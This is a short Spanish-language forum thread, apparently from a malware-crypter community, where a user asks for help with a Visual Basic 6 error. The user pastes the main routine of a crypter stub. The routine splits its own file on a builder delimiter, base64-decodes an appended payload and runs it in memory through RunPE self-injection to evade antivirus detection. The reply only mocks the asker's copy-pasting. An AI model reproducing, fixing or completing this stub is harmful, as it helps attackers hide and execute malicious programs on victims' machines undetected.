Indetectables

AYUDA !!!!
CUAND O CORRO EL CODIGO EN VISUAL BASIC 6 ME SALE ESE MENSAJE.

ESTE ES EL CODIGO, NO SE COMO SOLUCIONARLO
LA LINEA QUE ESTA EN NEGRITA ES LA DEL ERROR. GRACIAS DE ANTEMANO.
Sub Main()
Dim sMe() As String 'Array que contiene el Stub y el archivo cifrado
Dim sDelimitador As String 'Igual que en el builder
Dim b64 As New clsBase64 'Instancia de la clase clsBase64
Dim sDescifrado As String 'Archivo descifrado
Dim sBinario() As Byte 'Array de bytes que tendrá el archivo descifrado

sDelimitador = "[jona]Delimitador[jona]" 'IMPORTANTE: mismo delimitador que en el builder
sMe = SplitMyself(sDelimitador)

'[Array] sMe
'sMe(0) = Stub
'sMe(1) = Archivo cifrado

sDescifrado = b64.Decode(sMe(1)) 'Guardamos el archivo descifrado en la variable 'sDescifrado'
sBinario = StrConv(sDescifrado, vbFromUnicode) 'Convertimos el archivo descifrado a una array de bytes

Call RunPE(GetCurrentPath, sBinario) 'con esto nos autoinyectamos el archivo descifrado

End Sub

omg... Que hagas esta pregunta es consecuencia directa de que lo único que has hecho es copiar y pegar código sin tener ni idea de lo que estas haciendo.

PD: usa las etiquetas de cógido que para algo están, y no escribas en mayúsculas